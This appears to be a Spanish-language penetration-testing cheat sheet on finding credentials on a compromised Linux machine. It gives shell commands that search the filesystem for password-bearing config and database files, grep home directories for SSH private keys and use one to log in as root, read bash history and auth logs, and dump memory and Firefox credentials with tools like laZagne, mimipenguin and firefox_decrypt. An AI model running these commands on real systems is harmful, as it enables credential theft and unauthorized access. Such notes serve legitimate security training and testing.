Buscar Archivos Sensibles Extensiones clave: .conf , .config , .cnf (configuración); .txt , .sh , .py , .db (notas, scripts, bases de datos).
Archivos Config bash Copy
for ext in ".conf .config .cnf"; do echo "Buscando $ext:"; find / -type f -name "*$ext" 2>/dev/null | grep -v "lib\|fonts"; done bash Copy
for file in $(find / -name "*.cnf" 2>/dev/null); do echo "Analizando $file"; grep -i "password" $file; done Bases de datos bash Copy
for l in $(echo ".sql .db .*db .db*"); do echo -e "\nDB File extension: " $l find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man" done Scripts bash Copy
for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do echo -e "\nFile extension: " $l find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share" done Cronjobs Revisar /etc/crontab , /etc/cron.d/ , /etc/cron.daily , etc. A veces hay credenciales en scripts que corren en cron.
Claves SSH IMPORTANTE: si tienen PermitRootLogin, con la clave podemos acceder como root terminal Copy
$ ssh -i id_rsa root@ip$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"Historial de comandos terminal Copy
tail -n 10 /home/*/.bash_history Logs /var/log/messages , /var/log/syslog , /var/log/auth.log (Debian), /var/log/secure
bash Copy
for i in $(ls /var/log/* 2>/dev/null); do GREP=$(grep "accepted\|session opened\|failure\|failed\|ssh\|password changed\|new user\|sudo\|COMMAND=" $i 2>/dev/null) if [[ $GREP ]]; then echo -e "\n#### Log file: " $i; echo "$GREP"; fi done Memoria y Caché terminal Copy
$ python3 laZagne.py allbash mimipenguin.sh Navegadores terminal Copy
$ ls -l .mozilla/firefox/ | grep default$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .Después desencriptamos las creds con firefox_decrypt. IMPORTANTE: puede que tengamos que usar python3.9 firefox_decrypt.py